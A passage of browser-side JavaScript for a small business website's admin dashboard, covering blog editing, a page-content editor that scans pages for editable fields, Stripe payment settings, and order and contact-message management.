(blog.body || []).length ? JSON.parse(JSON.stringify(blog.body)) : [{ type: "p", text: "" }]; blogFormTitle.textContent = "Edit Blog"; renderImageStrip(blogImageList, state.blogImages, "blog"); renderBlogBlocks(); blogForm.scrollIntoView({ behavior: "smooth", block: "start" }); }; const saveBlog = async () => { const formData = new FormData(blogForm); const originalSlug = formData.get("originalSlug"); const title = String(formData.get("title") || ""); const payload = { slug: formData.get("slug") || slugify(title), title, category: formData.get("category"), readTime: formData.get("readTime"), icon: formData.get("icon"), excerpt: formData.get("excerpt"), published: formData.get("published"), bodyTitle: formData.get("bodyTitle"), sidebar: formData.get("sidebar"), ctaText: formData.get("ctaText"), ctaHref: formData.get("ctaHref"), related: String(formData.get("related") || "") .split(",") .map((item) => item.trim()) .filter(Boolean), images: state.blogImages, body: state.blogBlocks, isPublished: blogForm.elements.isPublished.checked, }; await api(originalSlug ? `/api/admin/blogs/${encodeURIComponent(originalSlug)}` : "/api/admin/blogs", { method: originalSlug ? "PUT" : "POST", body: payload, }); showStatus(globalStatus, "Blog saved.", "success"); resetBlogForm(); await loadData(); }; const normalizeEditorPage = (value) => { const page = String(value || "all") .trim() .replace(/^\/+/, "") .toLowerCase(); return page && page !== "*" ? page : "all"; }; const normalizeEditorType = (value) => { const type = String(value || "text").toLowerCase(); return ["text", "html", "attribute"].includes(type) ? type : "text"; }; const siteEditKey = (edit = {}) => [ normalizeEditorPage(edit.page), normalizeWhitespace(edit.selector), normalizeEditorType(edit.type), normalizeEditorType(edit.type) === "attribute" ? normalizeWhitespace(edit.attribute || "href").toLowerCase() : "", ].join("|"); const existingSiteEditForPreset = (preset) => state.siteEdits.find((edit) => siteEditKey(edit) === siteEditKey(preset)); const selectorIgnoredClasses = new Set([ "container", "grid", "section", "section-reveal", "section-muted", "is-active", "is-visible", "button", "sr-only", ]); const isHelpfulSelectorClass = (className) => /^[a-zA-Z][a-zA-Z0-9_-]*$/.test(className) && !selectorIgnoredClasses.has(className); const selectorSegment = (element) => { const tag = element.tagName.toLowerCase(); const id = element.getAttribute("id"); if (id) return `${tag}#${cssEscape(id)}`; const classes = Array.from(element.classList || []) .filter(isHelpfulSelectorClass) .slice(0, 2) .map((className) => `.${cssEscape(className)}`) .join(""); let segment = `${tag}${classes}`; const parent = element.parentElement; if (parent) { const siblings = Array.from(parent.children).filter((sibling) => sibling.tagName === element.tagName); if (siblings.length > 1) segment += `:nth-of-type(${siblings.indexOf(element) + 1})`; } return segment; }; const selectorIsUnique = (doc, selector) => { try { return doc.querySelectorAll(selector).length === 1; } catch (error) { return false; } }; const buildUniqueSelector = (element, doc = element.ownerDocument) => { const id = element.getAttribute("id"); if (id) { const selector = `#${cssEscape(id)}`; if (selectorIsUnique(doc, selector)) return selector; } const parts = []; let current = element; while (current && current.nodeType === 1 && current.tagName.toLowerCase() !== "html") { if (current.tagName.toLowerCase() === "body") break; parts.unshift(selectorSegment(current)); const selector = parts.join(" > "); if (selectorIsUnique(doc, selector)) return selector; current = current.parentElement; } return parts.join(" > "); }; const sectionNameForElement = (element, fallback) => { const doc = element.ownerDocument; const section = element.closest("section, article, aside, form, footer, header") || element.closest("main"); if (!section) return fallback; const labelledBy = section.getAttribute("aria-labelledby"); const labelledHeading = labelledBy ? doc.getElementById(labelledBy) : null; const headingText = normalizeWhitespace(labelledHeading?.textContent || section.querySelector("h1, h2, h3")?.textContent); if (headingText) return fieldLabelFromText(headingText, fallback); const className = Array.from(section.classList || []).find(isHelpfulSelectorClass); return className ? titleCase(className) : fallback; }; const textFieldName = (element) => { const tag = element.tagName.toLowerCase(); if (tag === "h1") return "headline"; if (tag === "h2" || tag === "h3" || tag === "h4" || tag === "h5" || tag === "h6") return "heading"; if (tag === "p") return element.classList.contains("section-kicker") ? "small label" : "paragraph"; if (tag === "a") return element.classList.contains("button") ? "button text" : "link text"; if (tag === "button") return "button text"; if (tag === "li") return "list item"; if (tag === "strong") return "highlight title"; if (tag === "small") return "support text"; if (tag === "figcaption") return "caption"; return "label"; }; const hasTextElementChildren = (element) => Array.from(element.children || []).some((child) => !["I", "SVG"].includes(child.tagName) && normalizeWhitespace(child.textContent)); const isEditableTextElement = (element) => { const tag = element.tagName.toLowerCase(); const allowedTags = new Set(["h1", "h2", "h3", "h4", "h5", "h6", "p", "a", "button", "li", "strong", "small", "span", "figcaption"]); if (!allowedTags.has(tag)) return false; if (element.closest("script, style, noscript, svg")) return false; if (element.getAttribute("aria-hidden") === "true") return false; const text = normalizeWhitespace(element.textContent); if (text.length < 2 || text.length > 420) return false; if (["a", "button", "span", "li", "figcaption"].includes(tag) && element.children.length) return false; if (hasTextElementChildren(element)) return false; return true; }; const staticMatchedElementsForPage = (page, doc) => { const matched = new Set(); siteEditPresets .filter((preset) => normalizeEditorPage(preset.page) === page) .forEach((preset) => { try { doc.querySelectorAll(preset.selector).forEach((element) => matched.add(element)); } catch (error) { // Ignore selectors that are useful in the live browser but unavailable while parsing. } }); return matched; }; const discoverSiteEditPresets = (page, html) => { const parser = new DOMParser(); const doc = parser.parseFromString(html, "text/html"); const main = doc.querySelector("main"); if (!main) return []; const presets = []; const seen = new Set(); const fallbackSection = pageLabel(page); const staticMatched = staticMatchedElementsForPage(page, doc); siteEditPresets .filter((preset) => normalizeEditorPage(preset.page) === page) .forEach((preset) => { try { const element = doc.querySelector(preset.selector); if (!element) return; const type = normalizeEditorType(preset.type); const attribute = type === "attribute" ? normalizeWhitespace(preset.attribute || "href").toLowerCase() : ""; const value = type === "attribute" ? element.getAttribute(attribute) || "" : type === "html" ? element.innerHTML.trim() : normalizeWhitespace(element.textContent); const hydratedPreset = { ...preset, type, attribute, value, }; const key = siteEditKey(hydratedPreset); if (seen.has(key)) return; seen.add(key); presets.push(hydratedPreset); } catch (error) { // Keep the authored fallback preset if this selector cannot be read from the static HTML. } }); const addPreset = (element, patch) => { const selector = buildUniqueSelector(element, doc); if (!selector) return; const preset = { page, selector, type: "text", section: sectionNameForElement(element, fallbackSection), ...patch, }; const key = siteEditKey(preset); if (seen.has(key)) return; seen.add(key); presets.push(preset); }; Array.from(main.querySelectorAll("h1, h2, h3, h4, h5, h6, p, a, button, li, strong, small, span, figcaption")).forEach((element) => { if (staticMatched.has(element) || !isEditableTextElement(element)) return; const text = normalizeWhitespace(element.textContent); const fieldName = textFieldName(element); const section = sectionNameForElement(element, fallbackSection); addPreset(element, { label: `${section} ${fieldName}: ${fieldLabelFromText(text, fieldName)}`, type: "text", value: text, description: fieldName, }); }); Array.from(main.querySelectorAll("img[src]")).forEach((element) => { const section = sectionNameForElement(element, fallbackSection); addPreset(element, { label: `${section} image source`, type: "attribute", attribute: "src", value: element.getAttribute("src") || "", description: "Image file path or URL", }); addPreset(element, { label: `${section} image alt text`, type: "attribute", attribute: "alt", value: element.getAttribute("alt") || "", description: "Image accessibility text", }); }); Array.from(main.querySelectorAll("a[href]")).forEach((element) => { const href = element.getAttribute("href") || ""; if (!href || href === "#") return; const section = sectionNameForElement(element, fallbackSection); addPreset(element, { label: `${section} link: ${fieldLabelFromText(element.textContent, href)}`, type: "attribute", attribute: "href", value: href, description: "Link destination", }); }); Array.from(main.querySelectorAll("[data-lucide]")).forEach((element) => { const icon = element.getAttribute("data-lucide") || ""; if (!icon) return; const section = sectionNameForElement(element, fallbackSection); addPreset(element, { label: `${section} icon: ${icon}`, type: "attribute", attribute: "data-lucide", value: icon, description: "Lucide icon name", }); }); Array.from(main.querySelectorAll("input[placeholder], textarea[placeholder]")).forEach((element) => { const placeholder = element.getAttribute("placeholder") || ""; if (!placeholder) return; const section = sectionNameForElement(element, fallbackSection); addPreset(element, { label: `${section} field placeholder: ${placeholder}`, type: "attribute", attribute: "placeholder", value: placeholder, description: "Form placeholder", }); }); return presets; }; const getSiteEditPresetsForPage = (page = state.activeSiteEditPage) => { const normalizedPage = normalizeEditorPage(page); const merged = new Map(); const add = (preset) => { const normalizedPreset = { ...preset, page: normalizeEditorPage(preset.page || normalizedPage), type: normalizeEditorType(preset.type), }; const key = siteEditKey(normalizedPreset); if (!merged.has(key)) merged.set(key, normalizedPreset); }; (state.discoveredSiteEdits[normalizedPage] || []).forEach(add); siteEditPresets.filter((preset) => normalizeEditorPage(preset.page) === normalizedPage).forEach(add); return Array.from(merged.values()); }; const groupedPresets = (presets) => presets.reduce((groups, preset) => { const section = preset.section || "Content"; if (!groups.has(section)) groups.set(section, []); groups.get(section).push(preset); return groups; }, new Map()); const groupedPresetEntries = (presets) => presets.reduce((groups, preset, index) => { const section = preset.section || "Content"; if (!groups.has(section)) groups.set(section, []); groups.get(section).push({ preset, index }); return groups; }, new Map()); const ensureSiteEditPageDiscovered = async (page) => { const normalizedPage = normalizeEditorPage(page); if (normalizedPage === "all" || state.discoveredSiteEdits[normalizedPage] || state.siteEditDiscoveryStatus[normalizedPage] === "loading") { return; } state.siteEditDiscoveryStatus[normalizedPage] = "loading"; renderSiteEditor(); try { const response = await fetch(normalizedPage, { cache: "no-store" }); if (!response.ok) throw new Error(`Could not load ${normalizedPage}`); const html = await response.text(); state.discoveredSiteEdits[normalizedPage] = discoverSiteEditPresets(normalizedPage, html); state.siteEditDiscoveryStatus[normalizedPage] = "loaded"; } catch (error) { state.discoveredSiteEdits[normalizedPage] = []; state.siteEditDiscoveryStatus[normalizedPage] = "error"; } renderSiteEditor(); renderSiteEditPresetOptions(); }; const renderSiteEditPageControls = () => { const totalCount = pageOptions.reduce((count, [page]) => count + getSiteEditPresetsForPage(page).length, 0); if (siteEditTotalCount) siteEditTotalCount.textContent = String(totalCount); if (siteEditPageFilter && !siteEditPageFilter.options.length) { pageOptions.forEach(([value, label]) => siteEditPageFilter.append(new Option(label, value))); } if (siteEditPageFilter) siteEditPageFilter.value = state.activeSiteEditPage; if (!siteEditPageList) return; siteEditPageList.innerHTML = pageOptions .map(([page, label]) => { const presets = getSiteEditPresetsForPage(page); const groups = Array.from(groupedPresets(presets).keys()).slice(0, 3); const status = state.siteEditDiscoveryStatus[page] === "loading" ? "Loading fields" : groups.join(", ") || "Common site fields"; return ` <button class="content-map-button" type="button" data-site-edit-page="${escapeHtml(page)}" aria-pressed="${String( page === state.activeSiteEditPage )}"> <strong>${escapeHtml(label)}</strong> <span>${presets.length}</span> <small>${escapeHtml(status)}</small> </button> `; }) .join(""); }; const renderSectionPresetList = (presets) => { if (!siteEditSectionList) return; const groups = groupedPresetEntries(presets); if (!presets.length) { siteEditSectionList.innerHTML = '<div class="list-item"><strong>No editable fields found yet</strong><small>Try another page or use the selector settings below.</small></div>'; return; } siteEditSectionList.innerHTML = Array.from(groups.entries()) .map(([section, sectionPresets]) => { const buttons = sectionPresets .map(({ preset, index }) => { return `<button type="button" data-site-edit-page-preset="${index}">${escapeHtml(preset.label)}</button>`; }) .join(""); return ` <div class="section-preset-group"> <h4>${escapeHtml(section)}</h4> <div class="section-preset-buttons">${buttons}</div> </div> `; }) .join(""); }; const renderBulkSiteEditFields = (presets) => { if (!siteEditBulkFields) return; const status = state.siteEditDiscoveryStatus[state.activeSiteEditPage]; if (status === "loading") { siteEditBulkFields.innerHTML = '<div class="bulk-section"><h3>Loading page fields...</h3><p class="admin-help">Reading the page content and building editable controls.</p></div>'; return; } if (status === "error" && !presets.length) { siteEditBulkFields.innerHTML = '<div class="bulk-section"><h3>Page could not be scanned</h3><p class="admin-help">Use the quick preset list or selector settings below.</p></div>'; return; } if (!presets.length) { siteEditBulkFields.innerHTML = '<div class="bulk-section"><h3>No fields yet</h3><p class="admin-help">Use the selected edit area below for a manual selector.</p></div>'; return; } const groups = groupedPresetEntries(presets); siteEditBulkFields.innerHTML = Array.from(groups.entries()) .map(([section, sectionPresets]) => { const fields = sectionPresets .map(({ preset, index }) => { const existing = existingSiteEditForPreset(preset); const value = existing ? existing.value || "" : preset.value || ""; const isLong = preset.type === "html" || value.length > 100 || String(preset.description || "").includes("paragraph"); const control = isLong ? `<textarea data-site-edit-bulk-value="${index}" rows="4">${escapeHtml(value)}</textarea>` : `<input data-site-edit-bulk-value="${index}" type="text" value="${escapeHtml(value)}" />`; const typeLabel = preset.type === "attribute" ? `${preset.attribute || "attribute"} attribute` : preset.type === "html" ? "HTML" : "Text"; return ` <label class="bulk-field ${isLong ? "is-wide" : ""}"> <span>${escapeHtml(preset.label)}</span> ${control} <small>${escapeHtml(typeLabel)} - ${escapeHtml(preset.selector)}</small> </label> `; }) .join(""); return ` <section class="bulk-section"> <h3>${escapeHtml(section)}</h3> <div class="bulk-field-grid">${fields}</div> </section> `; }) .join(""); }; const renderSiteEditor = () => { if (!siteEditForm) return; const page = normalizeEditorPage(state.activeSiteEditPage); state.activeSiteEditPage = page; const presets = getSiteEditPresetsForPage(page); if (siteEditPageCount) { const status = state.siteEditDiscoveryStatus[page] === "loading" ? "scanning page..." : `${presets.length} editable fields`; siteEditPageCount.textContent = status; } renderSiteEditPageControls(); renderSectionPresetList(presets); renderBulkSiteEditFields(presets); if (page !== "all" && !state.discoveredSiteEdits[page] && state.siteEditDiscoveryStatus[page] !== "loading") { void ensureSiteEditPageDiscovered(page); } }; const setActiveSiteEditPage = (page) => { state.activeSiteEditPage = normalizeEditorPage(page); renderSiteEditor(); renderSiteEditPresetOptions(); }; const selectSiteEditPreset = (index) => { const preset = getSiteEditPresetsForPage(state.activeSiteEditPage)[index]; if (!preset) return; const existing = existingSiteEditForPreset(preset); setSiteEditFormValues({ ...preset, ...(existing || {}), id: existing?.id || "", value: existing ? existing.value : preset.value, isEnabled: existing ? existing.isEnabled !== false : true, }); siteEditForm.elements.label.scrollIntoView({ behavior: "smooth", block: "center" }); }; const renderSiteEditPresetOptions = () => { if (!siteEditPreset) return; siteEditPreset.innerHTML = '<option value="">Choose a common text, link, button, or icon</option>'; getSiteEditPresetsForPage(state.activeSiteEditPage).forEach((preset, index) => { siteEditPreset.append(new Option(preset.label, String(index))); }); }; const updateSiteEditAttributeRow = () => { if (!siteEditForm || !siteEditAttributeRow) return; const isAttribute = siteEditForm.elements.type.value === "attribute"; siteEditAttributeRow.hidden = !isAttribute; if (isAttribute && !siteEditForm.elements.attribute.value) { siteEditForm.elements.attribute.value = "href"; } }; const setSiteEditFormValues = (edit = {}) => { if (!siteEditForm) return; const type = ["text", "html", "attribute"].includes(edit.type) ? edit.type : "text"; const page = edit.page || "all"; ensureSelectOption(siteEditForm.elements.page, page, page); siteEditForm.elements.id.value = edit.id || ""; siteEditForm.elements.page.value = page; siteEditForm.elements.type.value = type; siteEditForm.elements.label.value = edit.label || ""; siteEditForm.elements.selector.value = edit.selector || ""; siteEditForm.elements.attribute.value = edit.attribute || (type === "attribute" ? "href" : ""); siteEditForm.elements.value.value = edit.value || ""; siteEditForm.elements.isEnabled.checked = edit.isEnabled !== false; if (siteEditPreset) siteEditPreset.value = ""; siteEditFormTitle.textContent = edit.id ? "Edit Website Edit" : "Page Editor"; updateSiteEditAttributeRow(); }; const resetSiteEditForm = () => { if (!siteEditForm) return; siteEditForm.reset(); setSiteEditFormValues({ page: "all", type: "text", isEnabled: true, }); }; const fillSiteEditPreset = () => { if (!siteEditPreset) return; if (siteEditPreset.value === "") return; const presetIndex = Number(siteEditPreset.value); if (!Number.isInteger(presetIndex)) return; const preset = getSiteEditPresetsForPage(state.activeSiteEditPage)[presetIndex]; if (!preset) return; const existing = existingSiteEditForPreset(preset); setSiteEditFormValues({ ...preset, ...(existing || {}), id: existing?.id || siteEditForm.elements.id.value, value: existing ? existing.value : preset.value, isEnabled: existing ? existing.isEnabled !== false : siteEditForm.elements.isEnabled.checked, }); if (siteEditPreset) siteEditPreset.value = String(presetIndex); }; const renderSiteEdits = () => { if (!siteEditList) return; if (!state.siteEdits.length) { siteEditList.innerHTML = '<div class="list-item"><strong>No website edits yet</strong><small>Create a text, link, button, or icon override on the left.</small></div>'; return; } siteEditList.innerHTML = state.siteEdits .map((edit) => { const typeLabel = edit.type === "attribute" ? `Attribute: ${edit.attribute || "href"}` : edit.type || "text"; const enabled = edit.isEnabled !== false; return ` <article class="list-item"> <div class="item-top"> <div> <strong>${escapeHtml(edit.label || "Website edit")}</strong> <small>${escapeHtml(edit.page || "all")} - ${escapeHtml(typeLabel)}</small> </div> <span class="badge ${enabled ? "" : "is-draft"}">${enabled ? "Live" : "Disabled"}</span> </div> <code class="selector-chip">${escapeHtml(edit.selector || "")}</code> <p>${escapeHtml(edit.value || "")}</p> <div class="item-actions"> <button class="mini-button" type="button" data-edit-site-edit="${escapeHtml(edit.id)}">Edit</button> <button class="mini-button" type="button" data-toggle-site-edit="${escapeHtml(edit.id)}">${enabled ? "Disable" : "Enable"}</button> <button class="mini-button danger" type="button" data-delete-site-edit="${escapeHtml(edit.id)}">Delete</button> </div> </article> `; }) .join(""); }; const editSiteEdit = (id) => { const edit = state.siteEdits.find((item) => item.id === id); if (!edit) return; setSiteEditFormValues(edit); siteEditForm.scrollIntoView({ behavior: "smooth", block: "start" }); }; const persistSiteEdit = async (payload, id = payload.id || "") => api(id ? `/api/admin/site-edits/${encodeURIComponent(id)}` : "/api/admin/site-edits", { method: id ? "PUT" : "POST", body: payload, }); const saveSiteEdit = async () => { const formData = new FormData(siteEditForm); const id = formData.get("id"); const payload = { id, label: formData.get("label"), page: formData.get("page"), selector: formData.get("selector"), type: formData.get("type"), attribute: formData.get("attribute"), value: formData.get("value"), isEnabled: siteEditForm.elements.isEnabled.checked, }; await persistSiteEdit(payload, id); showStatus(globalStatus, "Website edit saved.", "success"); resetSiteEditForm(); await loadData(); }; const saveBulkSiteEdits = async () => { if (!siteEditBulkFields) return; const presets = getSiteEditPresetsForPage(state.activeSiteEditPage); const fields = $$("[data-site-edit-bulk-value]", siteEditBulkFields); const changes = []; fields.forEach((field) => { const index = Number(field.dataset.siteEditBulkValue); const preset = presets[index]; if (!preset) return; const existing = existingSiteEditForPreset(preset); const previousValue = existing ? existing.value || "" : preset.value || ""; const nextValue = field.value; if (nextValue === previousValue) return; changes.push({ preset, existing, value: nextValue, }); }); if (!changes.length) { showStatus(globalStatus, "No page edit changes to save.", ""); return; } for (const change of changes) { const id = change.existing?.id || ""; await persistSiteEdit( { id, label: change.preset.label, page: change.preset.page, selector: change.preset.selector, type: change.preset.type, attribute: change.preset.attribute, value: change.value, isEnabled: change.existing ? change.existing.isEnabled !== false : true, }, id ); } showStatus(globalStatus, `${changes.length} page edit${changes.length === 1 ? "" : "s"} saved.`, "success"); await loadData(); }; const toggleSiteEdit = async (id) => { const edit = state.siteEdits.find((item) => item.id === id); if (!edit) return; await api(`/api/admin/site-edits/${encodeURIComponent(id)}`, { method: "PATCH", body: { ...edit, isEnabled: edit.isEnabled === false, }, }); await loadData(); showStatus(globalStatus, "Website edit updated.", "success"); }; const renderSettings = () => { const settings = state.settings || {}; const stripe = settings.stripe || {}; const contact = settings.contact || {}; const socialLinks = contact.socialLinks || {}; if (accountForm) { accountForm.elements.adminEmail.value = settings.adminEmail || ""; accountForm.elements.currentPassword.value = ""; accountForm.elements.newPassword.value = ""; accountForm.elements.confirmPassword.value = ""; } if (stripeForm) { stripeForm.elements.enabled.checked = stripe.enabled === true; stripeForm.elements.mode.value = stripe.mode || "test"; stripeForm.elements.currency.value = stripe.currency || "usd"; stripeForm.elements.publishableKey.value = stripe.publishableKey || ""; stripeForm.elements.successUrl.value = stripe.successUrl || ""; stripeForm.elements.cancelUrl.value = stripe.cancelUrl || ""; stripeForm.elements.secretKey.value = ""; stripeForm.elements.webhookSecret.value = ""; stripeForm.elements.clearSecretKey.checked = false; stripeForm.elements.clearWebhookSecret.checked = false; } if (contactSettingsForm) { contactSettingsForm.elements.facebook.value = socialLinks.facebook || ""; contactSettingsForm.elements.linkedin.value = socialLinks.linkedin || ""; contactSettingsForm.elements.instagram.value = socialLinks.instagram || ""; } const stripeStatus = $("[data-stripe-status]"); if (stripeStatus) { const hasReadyFlag = Object.prototype.hasOwnProperty.call(stripe, "ready"); const isReady = hasReadyFlag ? stripe.ready === true : stripe.enabled && stripe.secretKeySet; stripeStatus.textContent = isReady ? "Ready" : stripe.enabled && stripe.secretKeySet ? "Check keys" : stripe.enabled ? "Needs secret" : "Disabled"; stripeStatus.classList.toggle("is-draft", !isReady); } const secretHint = $("[data-stripe-secret-hint]"); if (secretHint) { secretHint.textContent = stripe.secretKeySet ? `Saved: ${stripe.secretKeyPreview}` : "No secret saved"; } const webhookHint = $("[data-stripe-webhook-hint]"); if (webhookHint) { webhookHint.textContent = stripe.webhookSecretSet ? `Saved: ${stripe.webhookSecretPreview}` : "No webhook secret saved"; } }; const saveAccountSettings = async () => { const formData = new FormData(accountForm); const newPassword = String(formData.get("newPassword") || ""); const confirmPassword = String(formData.get("confirmPassword") || ""); if (newPassword && newPassword !== confirmPassword) { throw new Error("New password and confirmation do not match"); } const settings = await api("/api/admin/settings", { method: "PATCH", body: { adminEmail: formData.get("adminEmail"), currentPassword: formData.get("currentPassword"), newPassword, }, }); state.settings = settings; renderSettings(); }; const saveStripeSettings = async () => { const formData = new FormData(stripeForm); const settings = await api("/api/admin/settings", { method: "PATCH", body: { stripe: { enabled: stripeForm.elements.enabled.checked, mode: formData.get("mode"), currency: formData.get("currency"), publishableKey: formData.get("publishableKey"), secretKey: formData.get("secretKey"), clearSecretKey: stripeForm.elements.clearSecretKey.checked, webhookSecret: formData.get("webhookSecret"), clearWebhookSecret: stripeForm.elements.clearWebhookSecret.checked, successUrl: formData.get("successUrl"), cancelUrl: formData.get("cancelUrl"), }, }, }); state.settings = settings; renderSettings(); }; const testStripeConnection = async () => api("/api/admin/stripe/test", { method: "POST", body: {} }); const saveContactSettings = async () => { const formData = new FormData(contactSettingsForm); const settings = await api("/api/admin/settings", { method: "PATCH", body: { contact: { socialLinks: { facebook: formData.get("facebook"), linkedin: formData.get("linkedin"), instagram: formData.get("instagram"), }, }, }, }); state.settings = settings; renderSettings(); }; const statusLabel = (status) => { if (status === "delayed") return "Delayed"; if (status === "archived") return "Archived"; return "New"; }; const filteredMessages = () => state.messages.filter((message) => state.messageFilter === "all" || message.status === state.messageFilter); const filteredOrders = () => state.orders.filter((order) => { if (state.orderFilter === "all") return true; if (state.orderFilter === "new") return isNewOrder(order); return order.status === state.orderFilter; }); const renderOrders = () => { if (!orderList) return; const orders = filteredOrders(); if (!orders.length) { orderList.innerHTML = '<div class="message-item"><strong>No orders in this view</strong><small>Try a different filter.</small></div>'; } else { orderList.innerHTML = orders .map( (order) => ` <button class="message-item ${order.id === state.selectedOrderId ? "is-active" : ""}" type="button" data-open-order="${escapeHtml(order.id)}"> <div class="item-top"> <strong>${escapeHtml(order.customerName || "Website customer")}</strong> <span class="badge ${isNewOrder(order) ? "" : "is-draft"}">${escapeHtml(orderStatusLabel(order.status))}</span> </div> <span class="message-meta">${escapeHtml(order.total || "$0")} - ${escapeHtml(paymentStatusLabel(order.paymentStatus))}</span> <span>${escapeHtml((order.items || []).map((item) => item.title).join(", "))}</span> </button> ` ) .join(""); } renderOrderDetail(); }; const renderOrderDetail = () => { if (!orderDetail) return; const order = state.orders.find((item) => item.id === state.selectedOrderId); if (!order) { orderDetail.innerHTML = ` <div class="empty-state"> <i data-lucide="shopping-cart"></i> <h2>Select an order</h2> <p>Paid Stripe checkouts and manual billing requests appear here.</p> </div> `; hydrateIcons(); return; } const items = Array.isArray(order.items) ? order.items : []; const address = order.billingAddress || {}; orderDetail.innerHTML = ` <p class="eyebrow">${escapeHtml(order.source || "order")} order</p> <h2>${escapeHtml(order.customerName || "Website customer")}</h2> <div class="detail-badges"> <span class="badge">${escapeHtml(orderStatusLabel(order.status))}</span> <span class="badge ${order.paymentStatus === "paid" ? "" : "is-draft"}">${escapeHtml(paymentStatusLabel(order.paymentStatus))}</span> </div> <div class="order-total-line"> <span>Total</span> <strong>${escapeHtml(order.total || "$0")}</strong> </div> <div class="message-detail-grid"> <div><strong>Email</strong><br />${escapeHtml(order.customerEmail || "Not provided")}</div> <div><strong>Phone</strong><br />${escapeHtml(order.customerPhone || "Not provided")}</div> <div><strong>Agency state</strong><br />${escapeHtml(order.agencyState || "Not selected")}</div> <div><strong>Created</strong><br />${escapeHtml(formatDate(order.createdAt))}</div> <div><strong>Stripe session</strong><br />${escapeHtml(order.stripeSessionId || "Not created")}</div> <div><strong>Payment intent</strong><br />${escapeHtml(order.stripePaymentIntent || "Not available")}</div> </div> <h3>Products</h3> <div class="order-items-table"> ${items .map( (item) => ` <div> <span>${escapeHtml(item.title)}</span> <strong>${escapeHtml(item.price || "$0")}</strong> </div> ` ) .join("")} </div> <h3>Billing address</h3> <p class="order-address"> ${escapeHtml([address.address, address.addressExtra, address.city, address.state, address.zip, address.country].filter(Boolean).join(", ") || "Not provided")} </p> ${ order.stripeCheckoutUrl ? `<p><a class="mini-button" href="${escapeHtml(order.stripeCheckoutUrl)}" target="_blank" rel="noreferrer">Open Stripe checkout</a></p>` : "" } <label> <span>Internal order note</span> <textarea rows="3" data-order-note>${escapeHtml(order.note || "")}</textarea> </label> <div class="message-actions"> ${ order.stripeSessionId ? `<button class="mini-button" type="button" data-verify-order="${escapeHtml(order.id)}">Verify Stripe</button>` : "" } <button class="mini-button" type="button" data-update-order="${escapeHtml(order.id)}" data-status="paid" data-payment-status="paid">Mark paid</button> <button class="mini-button" type="button" data-update-order="${escapeHtml(order.id)}" data-status="processing">Processing</button> <button class="mini-button" type="button" data-update-order="${escapeHtml(order.id)}" data-status="completed">Complete</button> <button class="mini-button" type="button" data-update-order="${escapeHtml(order.id)}" data-status="cancelled">Cancel</button> <button class="mini-button" type="button" data-save-order-note="${escapeHtml(order.id)}">Save note</button> <button class="mini-button danger" type="button" data-delete-order="${escapeHtml(order.id)}">Delete</button> </div> <h3>Raw order data</h3> <pre class="payload">${escapeHtml(JSON.stringify(order.payload || {}, null, 2))}</pre> `; }; const updateOrder = async (id, patch) => { await api(`/api/admin/orders/${encodeURIComponent(id)}`, { method: "PATCH", body: patch }); await loadData(); state.selectedOrderId = id; renderOrders(); }; const renderMessages = () => { if (!messageList) return; const messages = filteredMessages(); if (!messages.length) { messageList.innerHTML = '<div class="message-item"><strong>No messages in this view</strong><small>Try a different filter.</small></div>'; } else { messageList.innerHTML = messages .map( (message) => ` <button class="message-item ${message.id === state.selectedMessageId ? "is-active" : ""}" type="button" data-open-message="${escapeHtml(message.id)}"> <div class="item-top"> <strong>${escapeHtml(message.name || "Website visitor")}</strong> <span class="badge ${message.status === "archived" ? "is-draft" : ""}">${statusLabel(message.status)}</span> </div> <span class="message-meta">${escapeHtml(message.type)} - ${escapeHtml(formatDate(message.createdAt))}</span> <span>${escapeHtml(message.topic || "")}</span> </button> ` ) .join(""); } renderMessageDetail(); }; const renderMessageDetail = () => { const message = state.messages.find((item) => item.id === state.selectedMessageId); if (!message) { messageDetail.innerHTML = ` <div class="empty-state"> <i data-lucide="mail"></i> <h2>Select a message</h2> <p>Contact and billing requests from the website appear here.</p> </div> `; hydrateIcons(); return; } messageDetail.innerHTML = ` <p class="eyebrow">${escapeHtml(message.type)} request</p> <h2>${escapeHtml(message.name || "Website visitor")}</h2> <span class="badge">${statusLabel(message.status)}</span> <div class="message-detail-grid"> <div><strong>Email</strong><br />${escapeHtml(message.email || "Not provided")}</div> <div><strong>Phone</strong><br />${escapeHtml(message.phone || "Not provided")}</div> <div><strong>Topic</strong><br />${escapeHtml(message.topic || "Not provided")}</div> <div><strong>Received</strong><br />${escapeHtml(formatDate(message.createdAt))}</div> <div><strong>Message</strong><br />${escapeHtml(message.message || "")}</div> </div> <label> <span>Internal note</span> <textarea rows="3" data-message-note>${escapeHtml(message.note || "")}</textarea> </label> <div class="message-actions"> <button class="mini-button" type="button" data-update-message="${escapeHtml(message.id)}" data-status="new">Reopen</button> <button class="mini-button" type="button" data-update-message="${escapeHtml(message.id)}" data-status="delayed">Delay</button> <button class="mini-button" type="button" data-update-message="${escapeHtml(message.id)}" data-status="archived">Archive</button> <button class="mini-button" type="button" data-save-note="${escapeHtml(message.id)}">Save note</button> <button class="mini-button danger" type="button" data-delete-message="${escapeHtml(message.id)}">Delete</button> </div> <h3>Raw request data</h3> <pre class="payload">${escapeHtml(JSON.stringify(message.payload || {}, null, 2))}</pre> `; }; const updateMessage = async (id, patch) => { await api(`/api/admin/messages/${encodeURIComponent(id)}`, { method: "PATCH", body: patch }); await loadData(); state.selectedMessageId = id; renderMessages(); }; loginForm.addEventListener("submit", async (event) => { event.preventDefault(); showStatus(loginStatus, "Signing in..."); try { const formData = new FormData(loginForm); await api("/api/admin/login", { method: "POST", body: { email: formData.get("email"), password: formData.get("password"), }, }); showStatus(loginStatus, ""); await showDashboard(); } catch (error) { showStatus(loginStatus, error.message, "error"); } }); $("[data-logout]").addEventListener("click", async () => { await api("/api/admin/logout", { method: "POST", body: {} }); showLogin(); }); $("[data-refresh]").addEventListener("click", async () => { showStatus(globalStatus, "Refreshing..."); await loadData(); showStatus(globalStatus, "Dashboard refreshed.", "success"); }); $$("[data-tab]").forEach((button) => { button.addEventListener("click", () => setPanel(button.dataset.tab)); }); $$("[data-jump]").forEach((button) => { button.addEventListener("click", () => setPanel(button.dataset.jump)); }); $("[data-new-product]").addEventListener("click", resetProductForm); $("[data-new-blog]").addEventListener("click", resetBlogForm); $("[data-new-site-edit]")?.addEventListener("click", resetSiteEditForm); productIconSelect?.addEventListener("change", updateProductIconPreview); siteEditPreset?.addEventListener("change", fillSiteEditPreset); siteEditForm?.elements.type?.addEventListener("change", updateSiteEditAttributeRow); siteEditPageFilter?.addEventListener("change", () => setActiveSiteEditPage(siteEditPageFilter.value)); siteEditPageList?.addEventListener("click", (event) => { const button = event.target.closest("[data-site-edit-page]"); if (!button) return; setActiveSiteEditPage(button.dataset.siteEditPage); }); siteEditSectionList?.addEventListener("click", (event) => { const button = 